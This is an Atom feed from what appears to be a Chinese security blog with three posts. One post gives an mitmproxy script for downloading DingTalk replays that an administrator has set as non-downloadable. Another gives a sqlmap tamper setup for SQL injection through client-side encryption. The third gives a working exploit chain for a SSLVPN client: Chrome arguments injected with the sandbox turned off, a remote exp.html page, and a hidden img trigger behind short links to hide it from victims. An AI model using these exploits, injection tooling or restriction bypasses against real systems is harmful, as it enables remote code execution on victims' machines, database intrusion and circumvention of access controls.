<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>NAXG</title>
  
  
  <link href="https://naxg.github.io/atom.xml" rel="self"/>
  
  <link href="https://naxg.github.io/"/>
  <updated>2022-02-09T06:41:33.773Z</updated>
  <id>https://naxg.github.io/</id>
  
  <author>
    <name>NAXG</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>钉钉回放视频下载</title>
    <link href="https://naxg.github.io/2022/02/09/%E9%92%89%E9%92%89%E5%9B%9E%E6%94%BE%E8%A7%86%E9%A2%91%E4%B8%8B%E8%BD%BD/"/>
    <id>https://naxg.github.io/2022/02/09/%E9%92%89%E9%92%89%E5%9B%9E%E6%94%BE%E8%A7%86%E9%A2%91%E4%B8%8B%E8%BD%BD/</id>
    <published>2022-02-09T06:25:51.000Z</published>
    <updated>2022-02-09T06:41:33.773Z</updated>
    
    <content type="html"><![CDATA[<p>最近突然有了个需求，需要下载钉钉回放视频。</p><p>钉钉回放管理员默认设置不能下载，于是写了个小脚本用于视频下载。</p><p>python 库</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">beautifulsoup4、mitmproxy、python-ffmpeg</span><br></pre></td></tr></table></figure><p>mitmproxy 安装https证书，钉钉设置本地代理，启动脚本，依次点击需要下载的视频就好了。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mitmweb -s main.py</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> mitmproxy <span class="keyword">import</span> ctx</span><br><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">from</span> threading <span class="keyword">import</span> Thread</span><br><span class="line"><span class="keyword">import</span> ffmpeg</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line">data = &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">downloadvideo</span>(<span class="params">url, keyname</span>):</span></span><br><span class="line">    filename = data.get(keyname)</span><br><span class="line">    stream = ffmpeg.<span class="built_in">input</span>(url)</span><br><span class="line">    stream = ffmpeg.output(stream, filename + <span class="string">&#x27;.mp4&#x27;</span>)</span><br><span class="line">    ffmpeg.run(stream)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">request</span>(<span class="params">flow</span>):</span></span><br><span class="line">    <span class="keyword">global</span> key_tmp</span><br><span class="line">    <span class="keyword">global</span> video</span><br><span class="line">    request = flow.request</span><br><span class="line">    info = ctx.log.info</span><br><span class="line">    url = request.url</span><br><span class="line">    path = request.path</span><br><span class="line">    info(request.host)</span><br><span class="line">    <span class="keyword">if</span> request.host == <span class="string">&quot;h5.dingtalk.com&quot;</span>:</span><br><span class="line">        pattern = re.<span class="built_in">compile</span>(<span class="string">&quot;liveUuid=(.*)&amp;&quot;</span>)</span><br><span class="line">        re_liveUuid = pattern.findall(path)</span><br><span class="line">        re_liveUuid = <span class="string">&quot;&quot;</span>.join(re_liveUuid)</span><br><span class="line">        key_tmp = re_liveUuid</span><br><span class="line">        info(re_liveUuid)</span><br><span class="line">    <span class="keyword">if</span> key_tmp:</span><br><span class="line">        re_live_hp = re.search(<span class="string">&quot;live_hp/&quot;</span> + key_tmp + <span class="string">&quot;_merge.m3u8&quot;</span>, path)</span><br><span class="line">        <span class="keyword">if</span> re_live_hp:</span><br><span class="line">            video = url</span><br><span class="line">            <span class="comment"># downloadvideo(videourl, key_tmp)</span></span><br><span class="line">            t1 = Thread(target=downloadvideo, args=(video, key_tmp))</span><br><span class="line">            t1.start()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">response</span>(<span class="params">flow</span>):</span></span><br><span class="line">    <span class="keyword">global</span> data</span><br><span class="line">    info = ctx.log.info</span><br><span class="line">    response = flow.response</span><br><span class="line">    soup = BeautifulSoup(response.text, <span class="string">&#x27;html.parser&#x27;</span>)</span><br><span class="line">    <span class="comment"># 获取需要下载的视频名称</span></span><br><span class="line">    pattern = re.<span class="built_in">compile</span>(<span class="string">&quot;&lt;meta content=\&quot;(.*)\&quot; property=\&quot;og:title\&quot;&quot;</span>)</span><br><span class="line">    meta = soup.find_all(attrs=&#123;<span class="string">&quot;property&quot;</span>: <span class="string">&quot;og:title&quot;</span>&#125;)</span><br><span class="line">    title = pattern.findall(<span class="built_in">str</span>(meta))</span><br><span class="line">    <span class="keyword">if</span> title:</span><br><span class="line">        title = <span class="string">&quot;&quot;</span>.join(title)</span><br><span class="line">        tmp = &#123;key_tmp: title&#125;</span><br><span class="line">        data.update(tmp)</span><br><span class="line">        info(data)</span><br></pre></td></tr></table></figure><p><img src="/images/%E9%92%89%E9%92%89%E5%9B%9E%E6%94%BE%E8%A7%86%E9%A2%91%E4%B8%8B%E8%BD%BD/B9FF6DEB-E091-4640-B1F0-C2402011A177.png" alt="img"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;最近突然有了个需求，需要下载钉钉回放视频。&lt;/p&gt;
&lt;p&gt;钉钉回放管理员默认设置不能下载，于是写了个小脚本用于视频下载。&lt;/p&gt;
&lt;p&gt;python 库&lt;/p&gt;
&lt;figure class=&quot;highlight python&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;g</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>JS加密注入绕过小技巧</title>
    <link href="https://naxg.github.io/2022/01/16/JS%E5%8A%A0%E5%AF%86%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E5%B0%8F%E6%8A%80%E5%B7%A7/"/>
    <id>https://naxg.github.io/2022/01/16/JS%E5%8A%A0%E5%AF%86%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E5%B0%8F%E6%8A%80%E5%B7%A7/</id>
    <published>2022-01-16T14:13:38.000Z</published>
    <updated>2022-01-18T02:17:30.608Z</updated>
    
    <content type="html"><![CDATA[<p>在日常渗透工作中遇到网站相关参数使用了自实现的加密。</p><img src="/images/JS加密注入绕过小技巧/image-20220116225807549.png" alt="image-20220116225807549" style="zoom:50%;" /><p>想要对其进行注入测试的话需要对其算法进行逆向解密，然后再进行注入。</p><p>使用phantomjs+jsEncrypter项目中phantomjs_server.js 起个数据加密接口对需要的字符串进行加密。节省大量时间不需要对算法使用python进行重新编写。</p><p>JavaScript加密算法</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">encode16</span>(<span class="params">str</span>)</span>&#123;</span><br><span class="line">    str=str.toLowerCase();</span><br><span class="line">    <span class="keyword">if</span> (str.match(<span class="regexp">/^[-+]?\d*$/</span>) == <span class="literal">null</span>)&#123;<span class="comment">//非整数字符，对每一个字符都转换成16进制，然后拼接</span></span><br><span class="line">        <span class="keyword">var</span> s=str.split(<span class="string">&quot;&quot;</span>);</span><br><span class="line">        <span class="keyword">var</span> temp=<span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i&lt;s.length;i++)&#123;</span><br><span class="line">            s[i]=s[i].charCodeAt();<span class="comment">//先转换成Unicode编码</span></span><br><span class="line">            s[i]=s[i].toString(<span class="number">16</span>);</span><br><span class="line">            temp=temp+s[i];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> temp+<span class="string">&quot;&#123;&quot;</span>+<span class="number">1</span>;<span class="comment">//1代表字符</span></span><br><span class="line">    &#125;<span class="keyword">else</span>&#123;<span class="comment">//数字直接转换成16进制</span></span><br><span class="line">        str=<span class="built_in">parseInt</span>(str).toString(<span class="number">16</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> str+<span class="string">&quot;&#123;&quot;</span>+<span class="number">0</span>;<span class="comment">//0代表纯数字</span></span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">produceRandom</span>(<span class="params">n</span>)</span>&#123;</span><br><span class="line">    <span class="keyword">var</span> num=<span class="string">&quot;&quot;</span>; </span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i&lt;n;i++) </span><br><span class="line">    &#123; </span><br><span class="line">        num+=<span class="built_in">Math</span>.floor(<span class="built_in">Math</span>.random()*<span class="number">10</span>);</span><br><span class="line">    &#125; </span><br><span class="line">    <span class="keyword">return</span> num;</span><br><span class="line">&#125;</span><br><span class="line"> </span><br><span class="line"><span class="comment">//主加密函数</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">encrypt</span>(<span class="params">str</span>)</span>&#123;</span><br><span class="line">    <span class="keyword">var</span> encryptStr=<span class="string">&quot;&quot;</span>;<span class="comment">//最终返回的加密后的字符串</span></span><br><span class="line">    encryptStr+=produceRandom(<span class="number">3</span>);<span class="comment">//产生3位随机数</span></span><br><span class="line">     </span><br><span class="line">    <span class="keyword">var</span> temp=encode16(str).split(<span class="string">&quot;&#123;&quot;</span>);<span class="comment">//对要加密的字符转换成16进制</span></span><br><span class="line">    <span class="keyword">var</span> numLength=temp[<span class="number">0</span>].length;<span class="comment">//转换后的字符长度</span></span><br><span class="line">    numLength=numLength.toString(<span class="number">16</span>);<span class="comment">//字符长度换算成16进制</span></span><br><span class="line">    <span class="keyword">if</span>(numLength.length==<span class="number">1</span>)&#123;<span class="comment">//如果是1，补一个0</span></span><br><span class="line">        numLength=<span class="string">&quot;0&quot;</span>+numLength;</span><br><span class="line">    &#125;<span class="keyword">else</span> <span class="keyword">if</span>(numLength.length&gt;<span class="number">2</span>)&#123;<span class="comment">//转换后的16进制字符长度如果大于2位数，则返回，不支持</span></span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    encryptStr+=numLength;</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(temp[<span class="number">1</span>]==<span class="string">&quot;0&quot;</span>)&#123;</span><br><span class="line">        encryptStr+=<span class="number">0</span>;</span><br><span class="line">    &#125;<span class="keyword">else</span> <span class="keyword">if</span>(temp[<span class="number">1</span>]==<span class="string">&quot;1&quot;</span>)&#123;</span><br><span class="line">        encryptStr+=<span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">     </span><br><span class="line">    encryptStr+=temp[<span class="number">0</span>];</span><br><span class="line">     </span><br><span class="line">    <span class="keyword">if</span>(encryptStr.length&lt;<span class="number">20</span>)&#123;<span class="comment">//如果小于20位，补上随机数</span></span><br><span class="line">        <span class="keyword">var</span> ran=produceRandom(<span class="number">20</span>-encryptStr.length);</span><br><span class="line">        encryptStr+=ran;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> encryptStr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * author: c0ny1</span></span><br><span class="line"><span class="comment"> * date: 2017-12-16</span></span><br><span class="line"><span class="comment"> * last update: 2019-5-30 11:16</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">var</span> fs = <span class="built_in">require</span>(<span class="string">&#x27;fs&#x27;</span>);</span><br><span class="line"><span class="keyword">var</span> logfile = <span class="string">&#x27;jsEncrypter.log&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> webserver = <span class="built_in">require</span>(<span class="string">&#x27;webserver&#x27;</span>);</span><br><span class="line">server = webserver.create();</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> host = <span class="string">&#x27;127.0.0.1&#x27;</span>;</span><br><span class="line"><span class="keyword">var</span> port = <span class="string">&#x27;1664&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 加载实现加密算法的js脚本</span></span><br><span class="line"><span class="keyword">var</span> wasSuccessful = phantom.injectJs(<span class="string">&#x27;encrypt.js&#x27;</span>);<span class="comment">/*引入实现加密的js文件*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理函数</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">js_encrypt</span>(<span class="params">payload</span>)</span>&#123;</span><br><span class="line"><span class="comment">//var newpayload;</span></span><br><span class="line"><span class="comment">/**********在这里编写调用加密函数进行加密的代码************/</span></span><br><span class="line"> <span class="keyword">var</span> newpayload = encrypt(payload);</span><br><span class="line"><span class="comment">/**********************************************************/</span></span><br><span class="line"><span class="keyword">return</span> newpayload;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(wasSuccessful)&#123;</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&quot;[*] load js successful&quot;</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&quot;[!] ^_^&quot;</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&quot;[*] jsEncrypterJS start!&quot;</span>);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&quot;[+] address: http://&quot;</span>+host+<span class="string">&quot;:&quot;</span>+port);</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;[*] load js fail!&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> service = server.listen(host+<span class="string">&#x27;:&#x27;</span>+port,<span class="function"><span class="keyword">function</span>(<span class="params">request, response</span>)</span>&#123;</span><br><span class="line"> <span class="keyword">try</span>&#123;</span><br><span class="line"><span class="keyword">if</span>(request.method == <span class="string">&#x27;POST&#x27;</span>)&#123;</span><br><span class="line"><span class="keyword">var</span> payload = request.post[<span class="string">&#x27;payload&#x27;</span>];</span><br><span class="line"><span class="keyword">var</span> encrypt_payload = js_encrypt(payload); </span><br><span class="line"><span class="keyword">var</span> log = payload + <span class="string">&#x27;:::&#x27;</span> + encrypt_payload;</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;[+] &#x27;</span> + log);</span><br><span class="line">            fs.write(logfile,log + <span class="string">&#x27;\n&#x27;</span>, <span class="string">&#x27;w+&#x27;</span>);</span><br><span class="line">response.statusCode = <span class="number">200</span>;</span><br><span class="line">response.write(encrypt_payload.toString());</span><br><span class="line">response.close();</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">  response.statusCode = <span class="number">200</span>;</span><br><span class="line">  response.write(<span class="string">&quot;^_^\n\rhello jsEncrypter!&quot;</span>);</span><br><span class="line">  response.close();</span><br><span class="line">&#125;</span><br><span class="line">&#125;<span class="keyword">catch</span>(e)&#123;</span><br><span class="line"><span class="comment">//console.log(&#x27;[Error]&#x27;+e.message+&#x27; happen &#x27;+e.line+&#x27;line&#x27;);</span></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;\n-----------------Error Info--------------------&#x27;</span>)</span><br><span class="line"><span class="keyword">var</span> fullMessage = <span class="string">&quot;Message: &quot;</span>+e.toString() + <span class="string">&#x27;:&#x27;</span>+ e.line;</span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">var</span> p <span class="keyword">in</span> e) &#123;</span><br><span class="line">fullMessage += <span class="string">&quot;\n&quot;</span> + p.toUpperCase() + <span class="string">&quot;: &quot;</span> + e[p];</span><br><span class="line">&#125; </span><br><span class="line"><span class="built_in">console</span>.log(fullMessage);</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;---------------------------------------------&#x27;</span>)</span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;[*] phantomJS exit!&#x27;</span>)</span><br><span class="line">phantom.exit();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>启动tools</p><p>phantomjs.exe phantomjs_server.js</p><p><img src="/images/JS%E5%8A%A0%E5%AF%86%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E5%B0%8F%E6%8A%80%E5%B7%A7/image-20220118094250067.png" alt="image-20220118094250067"></p><p>编写Sqlmap tamper脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">Copyright (c) 2006-2021 sqlmap developers (https://sqlmap.org/)</span></span><br><span class="line"><span class="string">See the file &#x27;LICENSE&#x27; for copying permission</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> lib.core.convert <span class="keyword">import</span> encodeBase64</span><br><span class="line"><span class="keyword">from</span> lib.core.enums <span class="keyword">import</span> PRIORITY</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"></span><br><span class="line">__priority__ = PRIORITY.LOW</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">dependencies</span>():</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">enpayload</span>(<span class="params">payload</span>):</span></span><br><span class="line">    burp0_url = <span class="string">&quot;http://127.0.0.1:1664/&quot;</span></span><br><span class="line">    burp0_headers = &#123;<span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/x-www-form-urlencoded&quot;</span>&#125;</span><br><span class="line">    burp0_data = &#123;<span class="string">&quot;payload&quot;</span>: payload&#125;</span><br><span class="line">    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,timeout=<span class="number">5</span>)</span><br><span class="line">    <span class="keyword">return</span> res.text</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">tamper</span>(<span class="params">payload, **kwargs</span>):</span></span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    调用phantomjs的web服务对payload进行加密发送</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    &gt;&gt;&gt; tamper(&quot;1&#x27; AND SLEEP(5)#&quot;)</span></span><br><span class="line"><span class="string">    &#x27;8850207b695707800110&#x27;</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> enpayload(<span class="string">&quot;2021&quot;</span>+payload) <span class="keyword">if</span> payload <span class="keyword">else</span> payload</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Sqlmap调用脚本进行注入</p><p><img src="/images/JS%E5%8A%A0%E5%AF%86%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E5%B0%8F%E6%8A%80%E5%B7%A7/image-20220118095330456.png" alt="image-20220118095330456"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;在日常渗透工作中遇到网站相关参数使用了自实现的加密。&lt;/p&gt;
&lt;img src=&quot;/images/JS加密注入绕过小技巧/image-20220116225807549.png&quot; alt=&quot;image-20220116225807549&quot; style=&quot;zoom:50%;&quot;</summary>
      
    
    
    
    
    <category term="javascript 小技巧" scheme="https://naxg.github.io/tags/javascript-%E5%B0%8F%E6%8A%80%E5%B7%A7/"/>
    
  </entry>
  
  <entry>
    <title>Chrome漏洞利用组合拳</title>
    <link href="https://naxg.github.io/2021/04/22/Chrome%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E7%BB%84%E5%90%88%E6%8B%B3/"/>
    <id>https://naxg.github.io/2021/04/22/Chrome%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E7%BB%84%E5%90%88%E6%8B%B3/</id>
    <published>2021-04-22T04:24:43.000Z</published>
    <updated>2021-04-25T09:45:39.387Z</updated>
    
    <content type="html"><![CDATA[<p>最近看到大家都在玩chrome的各种利用，6的飞起。</p><p>求Red Team大佬放过，hvv马上也快停止了。</p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>如果要在实战中该漏洞需要chrome游览器关闭沙箱漏洞才能利用成功。受害者如果已经打开游览器了无论受害者怎么点击快捷方式都不会以关闭沙箱方式打开，这里可以说是chrome的一个特性吧。chrome每次创建一个网页都会启动一个子进程。</p><p>这里需要考虑一种利用方式就是如果让chrome启动的时候创建一个和原游览器完全无关的一个游览器。<br>通过阅读Chrome启动参数文档发现  --user-data-dir= 能在启动的时候创建一个与原浏览器完全隔离的环境。</p><p>存放数据文件指定到 C:/Windows/Temp/</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">--user-data-dir&#x3D;C:&#x2F;Windows&#x2F;Temp&#x2F;</span><br></pre></td></tr></table></figure><p>使用无痕默认减少暴露痕迹</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-incognito</span><br></pre></td></tr></table></figure><p>对新创建的窗口进行隐藏</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">--headless</span><br></pre></td></tr></table></figure><h2 id="利用方式一：快捷方式"><a href="#利用方式一：快捷方式" class="headerlink" title="利用方式一：快捷方式"></a>利用方式一：快捷方式</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;C:\Program Files (x86)\Google\Chrome\Application\chrome.exe&quot; -incognito --headless --user-data-dir&#x3D;C:&#x2F;Windows&#x2F;Temp&#x2F; --no-sandbox http:&#x2F;&#x2F;xx.xx.xx.xx&#x2F;index.html</span><br></pre></td></tr></table></figure><h2 id="利用方式二：某SSLVPN-X-Chrome"><a href="#利用方式二：某SSLVPN-X-Chrome" class="headerlink" title="利用方式二：某SSLVPN X Chrome"></a>利用方式二：某SSLVPN X Chrome</h2><p>hvv前期准备工作的时候想着部署各种反制蜜罐反控攻击者机器，在VICP平台看了公司研究院大佬Avscx的mac版客户端RCE的分析研究文章,未对url参数的值进行过滤导致的漏洞触发,主要是针对于mac端的一个利用。</p><p>hvv期间刚好Chrome 0day就爆了出来。于是就想到了Windows下可以通过传入启动参数的方式来进行利用。</p><h2 id="利用条件"><a href="#利用条件" class="headerlink" title="利用条件"></a>利用条件</h2><p>某SSLVPN</p><p>Google Chrome &lt;= 90.0.4430.72 和 Microsoft Edge 没测试</p><p>EXP 编码前</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https:&#x2F;&#x2F;127.0.0.1:54530&#x2F;ECAgent&#x2F;?op&#x3D;OpenBrowser&amp;arg&#x3D;&#123;&quot;url&quot;:&quot; --no-sandbox -incognito --headless --user-data-dir&#x3D;C:&#x2F;Windows&#x2F;Temp&#x2F; https:&#x2F;&#x2F;X.X.X.X&#x2F;exp.html&quot;,&quot;type&quot;:&quot;chrome&quot;,&quot;withShortcut&quot;:0&#125;</span><br></pre></td></tr></table></figure><p>EXP 编码后</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https:&#x2F;&#x2F;127.0.0.1:54530&#x2F;ECAgent&#x2F;?op&#x3D;OpenBrowser&amp;arg&#x3D;%7B%22url%22%3A%22 --no-sandbox -incognito --headless --user-data-dir%3DC%3A%2FWindows%2FTemp%2F https%3A%2F%2FX.X.X.X%2Fexp.html%22%2C%22type%22%3A%22chrome%22%2C%22withShortcut%22%3A0%7D</span><br></pre></td></tr></table></figure><p>插入html中</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;img hidden src&#x3D;&quot;http:&#x2F;&#x2F;3t7.net&#x2F;binfe&quot;&gt;</span><br></pre></td></tr></table></figure><p>可以在真正利用的时候对url做各种短链接，跳转好几次让受害者无法找真正的利用。</p><p>插入任意网页，使用任意的游览器和任意能发起url请求的软件都能触发。</p><h2 id="演示"><a href="#演示" class="headerlink" title="演示"></a>演示</h2><div id="dplayer0" class="dplayer hexo-tag-dplayer-mark" style="margin-bottom: 20px;"></div><script>(function(){var player = new DPlayer({"container":document.getElementById("dplayer0"),"video":{"url":"/images/Chrome漏洞利用组合拳/演示v2.mp4"}});window.dplayers||(window.dplayers=[]);window.dplayers.push(player);})()</script><h2 id="反制"><a href="#反制" class="headerlink" title="反制"></a>反制</h2><p>可以利用这漏洞组合拳起来反制攻击队，攻击队也可以用来攻击。</p><p><img src="/images/Chrome%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E7%BB%84%E5%90%88%E6%8B%B3/image-20210420212208983.png" alt="image-20210420212208983"></p><h2 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h2><p>升级Google Chrome 和 Microsoft Edge 浏览器的最新版。<br>(攻击者也可以调用Edge来触发执行)</p><p>安装SSLVPN客户端最新版。<br><del>暂时不用建议删除</del></p>]]></content>
    
    
      
